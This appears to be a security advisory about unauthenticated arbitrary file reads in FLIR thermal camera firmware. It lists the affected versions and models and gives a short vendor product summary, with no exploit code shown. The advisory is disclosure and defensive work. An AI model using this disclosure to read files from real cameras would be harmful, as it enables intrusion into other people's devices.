FLIR Systems FLIR Thermal Camera F/FC/PT/D Multiple Information Disclosures


Vendor: FLIR Systems, Inc.
Product web page: http://www.flir.com
Affected version: Firmware version: 8.0.0.64
                  Software version: 10.0.2.43
                  Release: 1.4.1, 1.4, 1.3.4 GA, 1.3.3 GA and 1.3.2
                  FC-Series S (FC-334-NTSC)
                  FC-Series ID
                  FC-Series R
                  PT-Series (PT-334 200562)

                  F-Series

Summary: FLIR's PT-Series of high-performance, multi-sensor pan/tilt cameras
bring thermal and visible-light imaging together in a system that gives you
video and control over both IP and analog networks. The PT-Series' precision
pan/tilt mechanism gives you accurate pointing control while providing fully
programmable scan patterns, radar slew-to-cue, and slew-to-alarm functions.
PT-Series cameras define a new standard of performance with five models that
provide full 640x480 thermal resolution.

Desc: Input passed thru several parameters is not properly verified before
being used to read files. This can be exploited by an unauthenticated attacker
to read arbitrary files from local resources.
